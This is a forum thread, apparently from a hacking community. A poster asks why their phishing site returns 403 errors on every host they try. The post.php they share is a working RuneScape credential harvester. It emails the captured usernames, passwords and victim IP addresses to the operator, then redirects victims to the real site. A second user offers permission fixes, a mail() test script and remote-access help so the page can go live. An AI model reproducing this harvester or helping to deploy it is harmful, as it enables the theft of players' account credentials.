Everytime I upload my post.php and index.html it always gives me a 403 forbidden when I try to access my site. I tried with 40 hosting sites and all of them give me the same damn error. How do I fix this and what I am doing wrong?
KONY said:Edited - nvm.
Post here your post.php.
<?php
if(isset($_POST['username']) && isset($_POST['password'])) {
$to="[email protected]";
$username=$_POST['username'];
$password=$_POST['password'];
$subject="RuneScape ~ " .$username;
$ip=$_SERVER['REMOTE_ADDR'];
$body="You Just Owned: " .$username. " \r\nPassword: " .$password. " \r\nIP: " .$ip;
mail($to, $subject, $body);
header("Location: http://www.runescape.com");
} else {
header ('Location: http://www.runescape.com');
}
?>
find . -type f -exec chmod 644 {} \; && find . -type d -exec chmod 755 {} \;
<?php
if(function_exists('mail')){
print "waka waka";
}else{
print "dingle dingle";
}
?>
KONY said:cd into your document root and execute this command:
Code:find . -type f -exec chmod 644 {} \; && find . -type d -exec chmod 755 {} \;
also upload this and tell me what it prints.
PHP:<?php if(function_exists('mail')){ print "waka waka"; }else{ print "dingle dingle"; } ?>
Dont have skype, paste me your teamviewer details.bagiblood said:Add me on Skype. bagiblood. I got more questions.
KONY said:Dont have skype, paste me your teamviewer details.
Teamviewer crashed.
I will set it up for you tomorrow sir.